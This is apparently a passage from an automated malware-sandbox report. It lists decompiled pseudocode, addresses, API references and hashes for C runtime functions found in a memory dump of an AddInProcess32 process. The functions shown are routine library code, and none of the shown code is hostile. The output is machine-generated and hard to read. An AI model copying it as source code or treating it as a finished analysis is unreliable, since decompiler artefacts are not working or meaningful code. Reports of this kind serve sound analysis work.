                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                                          • String ID:
                                                          • API String ID: 161543041-0
                                                          • Opcode ID: 1e2fe5a18a31c84994dcc51a8be61083a944f92b9e02375a517c2289990329e1
                                                          • Instruction ID: 889ae54a960fc645b8ca26c1ad4b87e0f2b67c1ab8ff957d0f36d4966fcdc8da
                                                          • Opcode Fuzzy Hash: 1e2fe5a18a31c84994dcc51a8be61083a944f92b9e02375a517c2289990329e1
                                                          • Instruction Fuzzy Hash: 5C313F32A003019FEB21BA79D845B9777E4AB40318F10843FE459A62D1DB79AC5A8A19
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040ADEC Relevance: 15.1, APIs: 10, Instructions: 69COMMON
                                                          Download Yara Rule
                                                          C-Code - Quality: 77%
                                                          			E0040ADEC(void* __ebx, void* __edi, void* __esi, char _a4) {
				void* _v5;
				char _v12;
				char _v16;
				char _v20;
				void* __ebp;
				char _t55;
				char _t61;
				void* _t67;
				intOrPtr _t68;
				void* _t72;
				void* _t73;

				_t73 = __esi;
				_t72 = __edi;
				_t67 = __ebx;
				_t36 = _a4;
				_t68 =  *_a4;
				_t77 = _t68 - 0x413d50;
				if(_t68 != 0x413d50) {
					E0040A8C2(_t68);
					_t36 = _a4;
				}
				E0040A8C2( *((intOrPtr*)(_t36 + 0x3c)));
				E0040A8C2( *((intOrPtr*)(_a4 + 0x30)));
				E0040A8C2( *((intOrPtr*)(_a4 + 0x34)));
				E0040A8C2( *((intOrPtr*)(_a4 + 0x38)));
				E0040A8C2( *((intOrPtr*)(_a4 + 0x28)));
				E0040A8C2( *((intOrPtr*)(_a4 + 0x2c)));
				E0040A8C2( *((intOrPtr*)(_a4 + 0x40)));
				E0040A8C2( *((intOrPtr*)(_a4 + 0x44)));
				E0040A8C2( *((intOrPtr*)(_a4 + 0x360)));
				_v16 =  &_a4;
				_t55 = 5;
				_v12 = _t55;
				_v20 = _t55;
				_push( &_v12);
				_push( &_v16);
				_push( &_v20);
				E0040AC18(_t67, _t72, _t73, _t77);
				_v16 =  &_a4;
				_t61 = 4;
				_v20 = _t61;
				_v12 = _t61;
				_push( &_v20);
				_push( &_v16);
				_push( &_v12);
				return E0040AC83(_t67, _t72, _t73, _t77);
			}














                                                          0x0040adec
                                                          0x0040adec
                                                          0x0040adec
                                                          0x0040adf1
                                                          0x0040adf7
                                                          0x0040adf9
                                                          0x0040adff
                                                          0x0040ae02
                                                          0x0040ae07
                                                          0x0040ae0a
                                                          0x0040ae0e
                                                          0x0040ae19
                                                          0x0040ae24
                                                          0x0040ae2f
                                                          0x0040ae3a
                                                          0x0040ae45
                                                          0x0040ae50
                                                          0x0040ae5b
                                                          0x0040ae69
                                                          0x0040ae74
                                                          0x0040ae7c
                                                          0x0040ae7d
                                                          0x0040ae80
                                                          0x0040ae86
                                                          0x0040ae8a
                                                          0x0040ae8e
                                                          0x0040ae8f
                                                          0x0040ae99
                                                          0x0040ae9f
                                                          0x0040aea0
                                                          0x0040aea3
                                                          0x0040aea9
                                                          0x0040aead
                                                          0x0040aeb1
                                                          0x0040aeb8

                                                          APIs
                                                          • _free.LIBCMT ref: 0040AE02
                                                            • Part of subcall function 0040A8C2: RtlFreeHeap.NTDLL(00000000,00000000,?,0040CD22,?,00000000,?,?,?,0040CD49,?,00000007,?,?,0040D16F,?), ref: 0040A8D8
                                                            • Part of subcall function 0040A8C2: GetLastError.KERNEL32(?,?,0040CD22,?,00000000,?,?,?,0040CD49,?,00000007,?,?,0040D16F,?,?), ref: 0040A8EA
                                                          • _free.LIBCMT ref: 0040AE0E
                                                          • _free.LIBCMT ref: 0040AE19
                                                          • _free.LIBCMT ref: 0040AE24
                                                          • _free.LIBCMT ref: 0040AE2F
                                                          • _free.LIBCMT ref: 0040AE3A
                                                          • _free.LIBCMT ref: 0040AE45
                                                          • _free.LIBCMT ref: 0040AE50
                                                          • _free.LIBCMT ref: 0040AE5B
                                                          • _free.LIBCMT ref: 0040AE69
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: _free$ErrorFreeHeapLast
                                                          • String ID:
                                                          • API String ID: 776569668-0
                                                          • Opcode ID: 9a4f505669f14c8d045588877dfa8d103f04aefa03dce3fbe136a509051b0318
                                                          • Instruction ID: bac59278378a88a946a52e8d6af48a337b43a6637c7012dc6a5b6b43185c4abd
                                                          • Opcode Fuzzy Hash: 9a4f505669f14c8d045588877dfa8d103f04aefa03dce3fbe136a509051b0318
                                                          • Instruction Fuzzy Hash: 8821EB76A10208AFCB01FF95C841CDE7BB8BF08344F00856AF505AB1A1EB35DA59CF85
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040F08C Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 318fileCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          C-Code - Quality: 67%
                                                          			E0040F08C(void* __eflags, intOrPtr _a4, signed int _a8, signed char _a12, intOrPtr _a16) {
				signed int _v8;
				char _v16;
				char _v23;
				char _v24;
				void _v32;
				signed int _v33;
				long _v40;
				signed char _v44;
				char _v47;
				void _v48;
				intOrPtr _v52;
				long _v56;
				char _v60;
				intOrPtr _v68;
				char _v72;
				struct _OVERLAPPED* _v76;
				signed char _v80;
				signed char _v84;
				intOrPtr _v88;
				signed int _v92;
				char _v96;
				long _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				signed char _v112;
				void* _v116;
				char _v120;
				int _v124;
				intOrPtr _v128;
				struct _OVERLAPPED* _v132;
				struct _OVERLAPPED* _v136;
				struct _OVERLAPPED* _v140;
				struct _OVERLAPPED* _v144;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t172;
				signed int _t174;
				int _t178;
				intOrPtr _t183;
				intOrPtr _t186;
				void* _t188;
				void* _t190;
				long _t193;
				void _t198;
				long _t202;
				void* _t206;
				intOrPtr _t212;
				signed char* _t213;
				char _t216;
				signed int _t219;
				char* _t220;
				void* _t222;
				long _t228;
				intOrPtr _t229;
				char _t231;
				signed char _t235;
				signed int _t244;
				intOrPtr _t247;
				signed char _t250;
				signed int _t251;
				signed char _t253;
				struct _OVERLAPPED* _t254;
				intOrPtr _t256;
				void* _t260;
				signed char _t261;
				void* _t262;
				void* _t264;
				long _t266;
				signed int _t269;
				long _t270;
				struct _OVERLAPPED* _t271;
				signed int _t272;
				intOrPtr _t274;
				signed int _t276;
				signed int _t279;
				long _t280;
				long _t281;
				signed char _t282;
				intOrPtr _t283;
				signed int _t284;
				void* _t285;
				void* _t286;

				_t172 =  *0x41a000; // 0xdd666744
				_v8 = _t172 ^ _t284;
				_t174 = _a8;
				_t261 = _a12;
				_t272 = (_t174 & 0x0000003f) * 0x38;
				_t244 = _t174 >> 6;
				_v112 = _t261;
				_v84 = _t244;
				_v80 = _t272;
				_t274 = _a16 + _t261;
				_v116 =  *((intOrPtr*)(_t272 +  *((intOrPtr*)(0x41b310 + _t244 * 4)) + 0x18));
				_v104 = _t274;
				_t178 = GetConsoleCP();
				_t242 = 0;
				_v124 = _t178;
				E00409456( &_v72, _t261, 0);
				asm("stosd");
				_t247 =  *((intOrPtr*)(_v68 + 8));
				_v128 = _t247;
				asm("stosd");
				asm("stosd");
				_t266 = _v112;
				_v40 = _t266;
				if(_t266 >= _t274) {
					L52:
					__eflags = _v60 - _t242;
				} else {
					_t276 = _v92;
					while(1) {
						_v47 =  *_t266;
						_v76 = _t242;
						_v44 = 1;
						_t186 =  *((intOrPtr*)(0x41b310 + _v84 * 4));
						_v52 = _t186;
						if(_t247 != 0xfde9) {
							goto L23;
						}
						_t261 = _v80;
						_t212 = _t186 + 0x2e + _t261;
						_t254 = _t242;
						_v108 = _t212;
						while( *((intOrPtr*)(_t212 + _t254)) != _t242) {
							_t254 =  &(_t254->Internal);
							if(_t254 < 5) {
								continue;
							}
							break;
						}
						_t213 = _v40;
						_t269 = _v104 - _t213;
						_v44 = _t254;
						if(_t254 <= 0) {
							_t256 =  *((char*)(( *_t213 & 0x000000ff) + 0x41a758)) + 1;
							_v52 = _t256;
							__eflags = _t256 - _t269;
							if(_t256 > _t269) {
								__eflags = _t269;
								if(_t269 <= 0) {
									goto L44;
								} else {
									_t280 = _v40;
									do {
										_t262 = _t242 + _t261;
										_t216 =  *((intOrPtr*)(_t242 + _t280));
										_t242 =  &(_t242->Internal);
										 *((char*)(_t262 +  *((intOrPtr*)(0x41b310 + _v84 * 4)) + 0x2e)) = _t216;
										_t261 = _v80;
										__eflags = _t242 - _t269;
									} while (_t242 < _t269);
									goto L43;
								}
							} else {
								_t270 = _v40;
								__eflags = _t256 - 4;
								_v144 = _t242;
								_t258 =  &_v144;
								_v140 = _t242;
								_v56 = _t270;
								_t219 = (0 | _t256 == 0x00000004) + 1;
								__eflags = _t219;
								_push( &_v144);
								_v44 = _t219;
								_push(_t219);
								_t220 =  &_v56;
								goto L21;
							}
						} else {
							_t228 =  *((char*)(( *(_t261 + _v52 + 0x2e) & 0x000000ff) + 0x41a758)) + 1;
							_v56 = _t228;
							_t229 = _t228 - _t254;
							_v52 = _t229;
							if(_t229 > _t269) {
								__eflags = _t269;
								if(_t269 > 0) {
									_t281 = _v40;
									do {
										_t264 = _t242 + _t261 + _t254;
										_t231 =  *((intOrPtr*)(_t242 + _t281));
										_t242 =  &(_t242->Internal);
										 *((char*)(_t264 +  *((intOrPtr*)(0x41b310 + _v84 * 4)) + 0x2e)) = _t231;
										_t254 = _v44;
										_t261 = _v80;
										__eflags = _t242 - _t269;
									} while (_t242 < _t269);
									L43:
									_t276 = _v92;
								}
								L44:
								_t279 = _t276 + _t269;
								__eflags = _t279;
								L45:
								__eflags = _v60;
								_v92 = _t279;
							} else {
								_t261 = _t242;
								if(_t254 > 0) {
									_t283 = _v108;
									do {
										 *((char*)(_t284 + _t261 - 0xc)) =  *((intOrPtr*)(_t283 + _t261));
										_t261 = _t261 + 1;
									} while (_t261 < _t254);
									_t229 = _v52;
								}
								_t270 = _v40;
								if(_t229 > 0) {
									E00408EB0( &_v16 + _t254, _t270, _v52);
									_t254 = _v44;
									_t285 = _t285 + 0xc;
								}
								if(_t254 > 0) {
									_t261 = _v44;
									_t271 = _t242;
									_t282 = _v80;
									do {
										_t260 = _t271 + _t282;
										_t271 =  &(_t271->Internal);
										 *(_t260 +  *((intOrPtr*)(0x41b310 + _v84 * 4)) + 0x2e) = _t242;
									} while (_t271 < _t261);
									_t270 = _v40;
								}
								_v136 = _t242;
								_v120 =  &_v16;
								_t258 =  &_v136;
								_v132 = _t242;
								_push( &_v136);
								_t235 = (0 | _v56 == 0x00000004) + 1;
								_v44 = _t235;
								_push(_t235);
								_t220 =  &_v120;
								L21:
								_push(_t220);
								_push( &_v76);
								_t222 = E0040FDE4(_t258);
								_t286 = _t285 + 0x10;
								if(_t222 == 0xffffffff) {
									goto L52;
								} else {
									_t266 = _t270 + _v52 - 1;
									L31:
									_t266 = _t266 + 1;
									_v40 = _t266;
									_t193 = E0040C4D3(_v124, _t242,  &_v76, _v44,  &_v32, 5, _t242, _t242);
									_t285 = _t286 + 0x20;
									_v56 = _t193;
									if(_t193 == 0) {
										goto L52;
									} else {
										if(WriteFile(_v116,  &_v32, _t193,  &_v100, _t242) == 0) {
											L51:
											_v96 = GetLastError();
											goto L52;
										} else {
											_t276 = _v88 - _v112 + _t266;
											_v92 = _t276;
											if(_v100 < _v56) {
												goto L52;
											} else {
												if(_v47 != 0xa) {
													L38:
													if(_t266 >= _v104) {
														goto L52;
													} else {
														_t247 = _v128;
														continue;
													}
												} else {
													_t198 = 0xd;
													_v48 = _t198;
													if(WriteFile(_v116,  &_v48, 1,  &_v100, _t242) == 0) {
														goto L51;
													} else {
														if(_v100 < 1) {
															goto L52;
														} else {
															_v88 = _v88 + 1;
															_t276 = _t276 + 1;
															_v92 = _t276;
															goto L38;
														}
													}
												}
											}
										}
									}
								}
							}
						}
						goto L53;
						L23:
						_t250 = _v80;
						_t261 =  *((intOrPtr*)(_t250 + _t186 + 0x2d));
						__eflags = _t261 & 0x00000004;
						if((_t261 & 0x00000004) == 0) {
							_v33 =  *_t266;
							_t188 = E0040CE14(_t261);
							_t251 = _v33 & 0x000000ff;
							__eflags =  *((intOrPtr*)(_t188 + _t251 * 2)) - _t242;
							if( *((intOrPtr*)(_t188 + _t251 * 2)) >= _t242) {
								_push(1);
								_push(_t266);
								goto L30;
							} else {
								_t202 = _t266 + 1;
								_v56 = _t202;
								__eflags = _t202 - _v104;
								if(_t202 >= _v104) {
									_t261 = _v84;
									_t253 = _v80;
									_t242 = _v33;
									 *((char*)(_t253 +  *((intOrPtr*)(0x41b310 + _t261 * 4)) + 0x2e)) = _v33;
									 *(_t253 +  *((intOrPtr*)(0x41b310 + _t261 * 4)) + 0x2d) =  *(_t253 +  *((intOrPtr*)(0x41b310 + _t261 * 4)) + 0x2d) | 0x00000004;
									_t279 = _t276 + 1;
									goto L45;
								} else {
									_t206 = E0040E54C( &_v76, _t266, 2);
									_t286 = _t285 + 0xc;
									__eflags = _t206 - 0xffffffff;
									if(_t206 == 0xffffffff) {
										goto L52;
									} else {
										_t266 = _v56;
										goto L31;
									}
								}
							}
						} else {
							_t261 = _t261 & 0x000000fb;
							_v24 =  *((intOrPtr*)(_t250 + _t186 + 0x2e));
							_v23 =  *_t266;
							_push(2);
							 *(_t250 + _v52 + 0x2d) = _t261;
							_push( &_v24);
							L30:
							_push( &_v76);
							_t190 = E0040E54C();
							_t286 = _t285 + 0xc;
							__eflags = _t190 - 0xffffffff;
							if(_t190 == 0xffffffff) {
								goto L52;
							} else {
								goto L31;
							}
						}
						goto L53;
					}
				}
				L53:
				if(__eflags != 0) {
					_t183 = _v72;
					_t167 = _t183 + 0x350;
					 *_t167 =  *(_t183 + 0x350) & 0xfffffffd;
					__eflags =  *_t167;
				}
				__eflags = _v8 ^ _t284;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				return E0040798D(_a4, _t242, _v8 ^ _t284, _t261, _a4,  &_v96);
			}






















































































                                                          0x0040f097
                                                          0x0040f09e
                                                          0x0040f0a1
                                                          0x0040f0a6
                                                          0x0040f0ae
                                                          0x0040f0b1
                                                          0x0040f0b5
                                                          0x0040f0b8
                                                          0x0040f0c2
                                                          0x0040f0cc
                                                          0x0040f0ce
                                                          0x0040f0d1
                                                          0x0040f0d4
                                                          0x0040f0da
                                                          0x0040f0dc
                                                          0x0040f0e3
                                                          0x0040f0f0
                                                          0x0040f0f1
                                                          0x0040f0f4
                                                          0x0040f0f7
                                                          0x0040f0f8
                                                          0x0040f0f9
                                                          0x0040f0fc
                                                          0x0040f101
                                                          0x0040f40d
                                                          0x0040f40d
                                                          0x0040f107
                                                          0x0040f107
                                                          0x0040f10a
                                                          0x0040f10c
                                                          0x0040f112
                                                          0x0040f115
                                                          0x0040f11c
                                                          0x0040f123
                                                          0x0040f12c
                                                          0x00000000
                                                          0x00000000
                                                          0x0040f132
                                                          0x0040f138
                                                          0x0040f13a
                                                          0x0040f13c
                                                          0x0040f13f
                                                          0x0040f144
                                                          0x0040f148
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040f148
                                                          0x0040f14d
                                                          0x0040f150
                                                          0x0040f152
                                                          0x0040f157
                                                          0x0040f209
                                                          0x0040f20a
                                                          0x0040f20d
                                                          0x0040f20f
                                                          0x0040f3bd
                                                          0x0040f3bf
                                                          0x00000000
                                                          0x0040f3c1
                                                          0x0040f3c1
                                                          0x0040f3c4
                                                          0x0040f3c7
                                                          0x0040f3d0
                                                          0x0040f3d3
                                                          0x0040f3d4
                                                          0x0040f3d8
                                                          0x0040f3db
                                                          0x0040f3db
                                                          0x00000000
                                                          0x0040f3df
                                                          0x0040f215
                                                          0x0040f215
                                                          0x0040f21a
                                                          0x0040f21d
                                                          0x0040f223
                                                          0x0040f229
                                                          0x0040f232
                                                          0x0040f235
                                                          0x0040f235
                                                          0x0040f236
                                                          0x0040f237
                                                          0x0040f23a
                                                          0x0040f23b
                                                          0x00000000
                                                          0x0040f23b
                                                          0x0040f15d
                                                          0x0040f16c
                                                          0x0040f16d
                                                          0x0040f170
                                                          0x0040f172
                                                          0x0040f177
                                                          0x0040f388
                                                          0x0040f38a
                                                          0x0040f38c
                                                          0x0040f38f
                                                          0x0040f394
                                                          0x0040f39d
                                                          0x0040f3a0
                                                          0x0040f3a1
                                                          0x0040f3a5
                                                          0x0040f3a8
                                                          0x0040f3ab
                                                          0x0040f3ab
                                                          0x0040f3af
                                                          0x0040f3af
                                                          0x0040f3af
                                                          0x0040f3b2
                                                          0x0040f3b2
                                                          0x0040f3b2
                                                          0x0040f3b4
                                                          0x0040f3b4
                                                          0x0040f3b8
                                                          0x0040f17d
                                                          0x0040f17d
                                                          0x0040f181
                                                          0x0040f183
                                                          0x0040f186
                                                          0x0040f189
                                                          0x0040f18d
                                                          0x0040f18e
                                                          0x0040f192
                                                          0x0040f192
                                                          0x0040f195
                                                          0x0040f19a
                                                          0x0040f1a6
                                                          0x0040f1ab
                                                          0x0040f1ae
                                                          0x0040f1ae
                                                          0x0040f1b3
                                                          0x0040f1b5
                                                          0x0040f1b8
                                                          0x0040f1ba
                                                          0x0040f1bd
                                                          0x0040f1c0
                                                          0x0040f1c3
                                                          0x0040f1cb
                                                          0x0040f1cf
                                                          0x0040f1d3
                                                          0x0040f1d3
                                                          0x0040f1d9
                                                          0x0040f1df
                                                          0x0040f1e2
                                                          0x0040f1ea
                                                          0x0040f1f1
                                                          0x0040f1f5
                                                          0x0040f1f6
                                                          0x0040f1f9
                                                          0x0040f1fa
                                                          0x0040f23e
                                                          0x0040f23e
                                                          0x0040f242
                                                          0x0040f243
                                                          0x0040f248
                                                          0x0040f24e
                                                          0x00000000
                                                          0x0040f254
                                                          0x0040f258
                                                          0x0040f2e1
                                                          0x0040f2e8
                                                          0x0040f2f0
                                                          0x0040f2f8
                                                          0x0040f2fd
                                                          0x0040f300
                                                          0x0040f305
                                                          0x00000000
                                                          0x0040f30b
                                                          0x0040f320
                                                          0x0040f404
                                                          0x0040f40a
                                                          0x00000000
                                                          0x0040f326
                                                          0x0040f32f
                                                          0x0040f331
                                                          0x0040f337
                                                          0x00000000
                                                          0x0040f33d
                                                          0x0040f341
                                                          0x0040f377
                                                          0x0040f37a
                                                          0x00000000
                                                          0x0040f380
                                                          0x0040f380
                                                          0x00000000
                                                          0x0040f380
                                                          0x0040f343
                                                          0x0040f345
                                                          0x0040f347
                                                          0x0040f360
                                                          0x00000000
                                                          0x0040f366
                                                          0x0040f36a
                                                          0x00000000
                                                          0x0040f370
                                                          0x0040f370
                                                          0x0040f373
                                                          0x0040f374
                                                          0x00000000
                                                          0x0040f374
                                                          0x0040f36a
                                                          0x0040f360
                                                          0x0040f341
                                                          0x0040f337
                                                          0x0040f320
                                                          0x0040f305
                                                          0x0040f24e
                                                          0x0040f177
                                                          0x00000000
                                                          0x0040f25f
                                                          0x0040f25f
                                                          0x0040f262
                                                          0x0040f266
                                                          0x0040f269
                                                          0x0040f28b
                                                          0x0040f28e
                                                          0x0040f293
                                                          0x0040f297
                                                          0x0040f29b
                                                          0x0040f2c9
                                                          0x0040f2cb
                                                          0x00000000
                                                          0x0040f29d
                                                          0x0040f29d
                                                          0x0040f2a0
                                                          0x0040f2a3
                                                          0x0040f2a6
                                                          0x0040f3e1
                                                          0x0040f3e4
                                                          0x0040f3e7
                                                          0x0040f3f1
                                                          0x0040f3fc
                                                          0x0040f401
                                                          0x00000000
                                                          0x0040f2ac
                                                          0x0040f2b3
                                                          0x0040f2b8
                                                          0x0040f2bb
                                                          0x0040f2be
                                                          0x00000000
                                                          0x0040f2c4
                                                          0x0040f2c4
                                                          0x00000000
                                                          0x0040f2c4
                                                          0x0040f2be
                                                          0x0040f2a6
                                                          0x0040f26b
                                                          0x0040f26f
                                                          0x0040f272
                                                          0x0040f277
                                                          0x0040f27d
                                                          0x0040f27f
                                                          0x0040f286
                                                          0x0040f2cc
                                                          0x0040f2cf
                                                          0x0040f2d0
                                                          0x0040f2d5
                                                          0x0040f2d8
                                                          0x0040f2db
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040f2db
                                                          0x00000000
                                                          0x0040f269
                                                          0x0040f10a
                                                          0x0040f410
                                                          0x0040f410
                                                          0x0040f412
                                                          0x0040f415
                                                          0x0040f415
                                                          0x0040f415
                                                          0x0040f415
                                                          0x0040f427
                                                          0x0040f429
                                                          0x0040f42a
                                                          0x0040f42b
                                                          0x0040f435

                                                          APIs
                                                          • GetConsoleCP.KERNEL32(?,?,00000000), ref: 0040F0D4
                                                          • __fassign.LIBCMT ref: 0040F2B3
                                                          • __fassign.LIBCMT ref: 0040F2D0
                                                          • WriteFile.KERNEL32(?,u.@,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040F318
                                                          • WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0040F358
                                                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040F404
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: FileWrite__fassign$ConsoleErrorLast
                                                          • String ID: u.@
                                                          • API String ID: 4031098158-3500161813
                                                          • Opcode ID: de6b1ae3efabd01d9418bc74cf23b6c5dc3b6bc5adae651e7af60ea22e912a2b
                                                          • Instruction ID: d238b21c93dd197687d420032ac322647bbdc2170ceb5b00f43707a899c0f74f
                                                          • Opcode Fuzzy Hash: de6b1ae3efabd01d9418bc74cf23b6c5dc3b6bc5adae651e7af60ea22e912a2b
                                                          • Instruction Fuzzy Hash: D1D17E75D002589FCB25CFA8C8809EEBBB5FF48314F28417AE855BB382D735994ACB54
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 00408540 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON
                                                          Download Yara Rule
                                                          C-Code - Quality: 68%
                                                          			E00408540(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				char _t52;
				signed int _t59;
				intOrPtr _t60;
				void* _t61;
				intOrPtr* _t62;
				intOrPtr _t64;
				intOrPtr _t66;
				intOrPtr _t67;
				intOrPtr _t72;
				intOrPtr* _t76;
				intOrPtr _t77;
				signed int _t81;
				char _t83;
				intOrPtr _t86;
				intOrPtr _t93;
				intOrPtr _t96;
				intOrPtr* _t98;
				void* _t102;
				void* _t104;
				void* _t111;

				_t89 = __edx;
				_t76 = _a4;
				_push(__edi);
				_v5 = 0;
				_v16 = 1;
				 *_t76 = E004120E0(__ecx,  *_t76);
				_t77 = _a8;
				_t6 = _t77 + 0x10; // 0x11
				_t96 = _t6;
				_push(_t96);
				_v20 = _t96;
				_v12 =  *(_t77 + 8) ^  *0x41a000;
				E00408500(_t77, __edx, __edi, _t96,  *(_t77 + 8) ^  *0x41a000);
				E00408AB7(_a12);
				_t52 = _a4;
				_t104 = _t102 - 0x1c + 0x10;
				_t93 =  *((intOrPtr*)(_t77 + 0xc));
				if(( *(_t52 + 4) & 0x00000066) != 0) {
					__eflags = _t93 - 0xfffffffe;
					if(_t93 != 0xfffffffe) {
						_t89 = 0xfffffffe;
						E00408AA0(_t77, 0xfffffffe, _t96, 0x41a000);
						goto L13;
					}
					goto L14;
				} else {
					_v32 = _t52;
					_v28 = _a12;
					 *((intOrPtr*)(_t77 - 4)) =  &_v32;
					if(_t93 == 0xfffffffe) {
						L14:
						return _v16;
					} else {
						do {
							_t81 = _v12;
							_t59 = _t93 + (_t93 + 2) * 2;
							_t77 =  *((intOrPtr*)(_t81 + _t59 * 4));
							_t60 = _t81 + _t59 * 4;
							_t82 =  *((intOrPtr*)(_t60 + 4));
							_v24 = _t60;
							if( *((intOrPtr*)(_t60 + 4)) == 0) {
								_t83 = _v5;
								goto L7;
							} else {
								_t89 = _t96;
								_t61 = E00408A40(_t82, _t96);
								_t83 = 1;
								_v5 = 1;
								_t111 = _t61;
								if(_t111 < 0) {
									_v16 = 0;
									L13:
									_push(_t96);
									E00408500(_t77, _t89, _t93, _t96, _v12);
									goto L14;
								} else {
									if(_t111 > 0) {
										_t62 = _a4;
										__eflags =  *_t62 - 0xe06d7363;
										if( *_t62 == 0xe06d7363) {
											__eflags =  *0x413278;
											if(__eflags != 0) {
												_t72 = E00411F40(__eflags, 0x413278);
												_t104 = _t104 + 4;
												__eflags = _t72;
												if(_t72 != 0) {
													_t98 =  *0x413278; // 0x4086d4
													 *0x4131e0(_a4, 1);
													 *_t98();
													_t96 = _v20;
													_t104 = _t104 + 8;
												}
												_t62 = _a4;
											}
										}
										_t90 = _t62;
										E00408A80(_t62, _a8, _t62);
										_t64 = _a8;
										__eflags =  *((intOrPtr*)(_t64 + 0xc)) - _t93;
										if( *((intOrPtr*)(_t64 + 0xc)) != _t93) {
											_t90 = _t93;
											E00408AA0(_t64, _t93, _t96, 0x41a000);
											_t64 = _a8;
										}
										_push(_t96);
										 *((intOrPtr*)(_t64 + 0xc)) = _t77;
										E00408500(_t77, _t90, _t93, _t96, _v12);
										_t86 =  *((intOrPtr*)(_v24 + 8));
										E00408A60();
										asm("int3");
										_t66 = E00408BF1();
										__eflags = _t66;
										if(_t66 != 0) {
											_t67 = E00408BA3(_t86);
											__eflags = _t67;
											if(_t67 != 0) {
												return 1;
											} else {
												E00408C2D();
												goto L24;
											}
										} else {
											L24:
											__eflags = 0;
											return 0;
										}
									} else {
										goto L7;
									}
								}
							}
							goto L28;
							L7:
							_t93 = _t77;
						} while (_t77 != 0xfffffffe);
						if(_t83 != 0) {
							goto L13;
						}
						goto L14;
					}
				}
				L28:
			}






























                                                          0x00408540
                                                          0x00408547
                                                          0x0040854b
                                                          0x0040854c
                                                          0x00408552
                                                          0x0040855e
                                                          0x00408560
                                                          0x00408566
                                                          0x00408566
                                                          0x0040856f
                                                          0x00408571
                                                          0x00408574
                                                          0x00408577
                                                          0x0040857f
                                                          0x00408584
                                                          0x00408587
                                                          0x0040858a
                                                          0x00408591
                                                          0x004085ed
                                                          0x004085f0
                                                          0x004085f8
                                                          0x004085ff
                                                          0x00000000
                                                          0x004085ff
                                                          0x00000000
                                                          0x00408593
                                                          0x00408593
                                                          0x00408599
                                                          0x0040859f
                                                          0x004085a5
                                                          0x00408610
                                                          0x00408619
                                                          0x004085a7
                                                          0x004085a7
                                                          0x004085a7
                                                          0x004085ad
                                                          0x004085b0
                                                          0x004085b3
                                                          0x004085b6
                                                          0x004085b9
                                                          0x004085be
                                                          0x004085d4
                                                          0x00000000
                                                          0x004085c0
                                                          0x004085c0
                                                          0x004085c2
                                                          0x004085c7
                                                          0x004085c9
                                                          0x004085cc
                                                          0x004085ce
                                                          0x004085e4
                                                          0x00408604
                                                          0x00408604
                                                          0x00408608
                                                          0x00000000
                                                          0x004085d0
                                                          0x004085d0
                                                          0x0040861a
                                                          0x0040861d
                                                          0x00408623
                                                          0x00408625
                                                          0x0040862c
                                                          0x00408633
                                                          0x00408638
                                                          0x0040863b
                                                          0x0040863d
                                                          0x0040863f
                                                          0x0040864c
                                                          0x00408652
                                                          0x00408654
                                                          0x00408657
                                                          0x00408657
                                                          0x0040865a
                                                          0x0040865a
                                                          0x0040862c
                                                          0x00408660
                                                          0x00408662
                                                          0x00408667
                                                          0x0040866a
                                                          0x0040866d
                                                          0x00408675
                                                          0x00408679
                                                          0x0040867e
                                                          0x0040867e
                                                          0x00408681
                                                          0x00408685
                                                          0x00408688
                                                          0x00408695
                                                          0x00408698
                                                          0x0040869d
                                                          0x0040869e
                                                          0x004086a3
                                                          0x004086a5
                                                          0x004086aa
                                                          0x004086af
                                                          0x004086b1
                                                          0x004086bc
                                                          0x004086b3
                                                          0x004086b3
                                                          0x00000000
                                                          0x004086b3
                                                          0x004086a7
                                                          0x004086a7
                                                          0x004086a7
                                                          0x004086a9
                                                          0x004086a9
                                                          0x004085d2
                                                          0x00000000
                                                          0x004085d2
                                                          0x004085d0
                                                          0x004085ce
                                                          0x00000000
                                                          0x004085d7
                                                          0x004085d7
                                                          0x004085d9
                                                          0x004085e0
                                                          0x00000000
                                                          0x004085e2
                                                          0x00000000
                                                          0x004085e0
                                                          0x004085a5
                                                          0x00000000

                                                          APIs
                                                          • _ValidateLocalCookies.LIBCMT ref: 00408577
                                                          • ___except_validate_context_record.LIBVCRUNTIME ref: 0040857F
                                                          • _ValidateLocalCookies.LIBCMT ref: 00408608
                                                          • __IsNonwritableInCurrentImage.LIBCMT ref: 00408633
                                                          • _ValidateLocalCookies.LIBCMT ref: 00408688
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
